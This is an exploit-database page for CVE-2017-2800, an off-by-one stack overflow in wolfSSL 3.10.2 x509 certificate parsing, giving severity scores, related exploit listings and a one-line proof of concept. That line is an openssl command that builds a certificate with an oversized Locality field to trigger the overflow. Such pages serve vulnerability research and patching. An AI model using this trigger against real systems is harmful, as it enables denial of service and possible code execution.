Exploit for WolfSSL library X509 Certificate Text Parsing Code Execution Vulnerability

CVE-2017-2800

seebug · 2017-09-18

Description

WolfSSL library X509 Certificate Text Parsing Code Execution Vulnerability, allows for off-by-one stack-buffer overflow in x509 certificate parsing, leading to potential denial of service and remote code execution

Affected Wolfssl versions

Wolfssl≤ 3.10.2

All known vulnerabilities by product

Wolfssl

CVSS 7.5 for CVE-2017-2800

7.5

HIGH SEVERITY

VectorAV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/

EPSS Score

8.5%higher than 94.3% of all CVEs

Updated 2026-06-16

Exploit Details

Modified:2017-09-18 00:00

Last Seen:2017-11-19 12:02

Reporter:Root

Other exploits for CVE-2017-2800

wolfSSL 3.10.2 - x509 Certificate Text Parsing Off-by-One

2017-05-09 TalosZDT

wolfSSL 3.10.2 - x509 Certificate Text Parsing Off-by-One

2017-05-09 TalosEXPLOITPACK

wolfSSL 3.10.2 - x509 Certificate Text Parsing Off-by-One

2017-05-09 TalosEXPLOITDB

Exploit Code

MARKDOWN2 lines

## https://sploitus.com/exploit?id=SSV:96519
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert1.pem -days 365 -subj "/C=US/ST=Maryland/L=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/O=E/CN=A"

Exploit Code

Share

Share on social media: